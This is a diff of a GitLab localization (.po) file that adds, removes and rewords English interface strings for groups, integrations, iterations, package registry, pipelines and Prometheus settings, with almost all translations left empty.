msgstr ""
@@ -15829,13 +15505,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15871,9 +15544,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16186,18 +15856,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16222,6 +15889,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16261,13 +15931,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16450,6 +16120,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16567,6 +16240,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16651,9 +16327,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16801,6 +16474,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16981,9 +16657,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17488,13 +17161,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17584,9 +17260,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17740,6 +17413,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17752,6 +17437,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17791,6 +17479,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17806,9 +17497,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17821,12 +17509,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17848,6 +17530,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17890,9 +17575,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17932,12 +17614,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17962,9 +17656,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18115,6 +17806,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18190,25 +17884,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18217,13 +17893,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18244,7 +17917,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18253,9 +17926,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18280,6 +17950,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18691,18 +18364,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18712,6 +18403,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18724,6 +18418,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18742,9 +18442,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18844,9 +18550,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18895,6 +18607,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18985,9 +18700,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19015,18 +18727,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19138,9 +18838,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19300,9 +18997,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19534,9 +19228,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr "Saznaj više"
@@ -19744,6 +19435,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19972,6 +19666,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20206,6 +19903,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20224,9 +19930,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20446,9 +20149,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20518,6 +20218,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20539,6 +20242,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20551,6 +20257,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20611,9 +20320,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21391,9 +21097,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21535,9 +21238,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21796,9 +21496,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21973,9 +21670,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22024,7 +21718,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22081,13 +21775,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22285,9 +21979,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22306,7 +21997,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22615,9 +22306,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22804,9 +22492,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22945,9 +22630,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23584,10 +23266,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23665,6 +23347,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23695,6 +23380,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23719,9 +23410,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23773,6 +23461,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23782,15 +23473,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23836,6 +23527,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23866,6 +23563,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24058,9 +23761,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24265,10 +23965,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24280,9 +23980,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24292,16 +23989,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24421,10 +24124,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24442,12 +24145,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24559,9 +24268,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24712,13 +24418,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24763,10 +24469,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24778,6 +24484,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25390,6 +25102,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25675,9 +25390,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25705,6 +25417,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25717,9 +25432,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25768,15 +25480,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25825,9 +25531,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26443,9 +26146,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26461,9 +26161,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26548,21 +26245,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26578,18 +26272,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26605,9 +26290,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26620,6 +26302,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26635,7 +26320,7 @@ msgstr ""
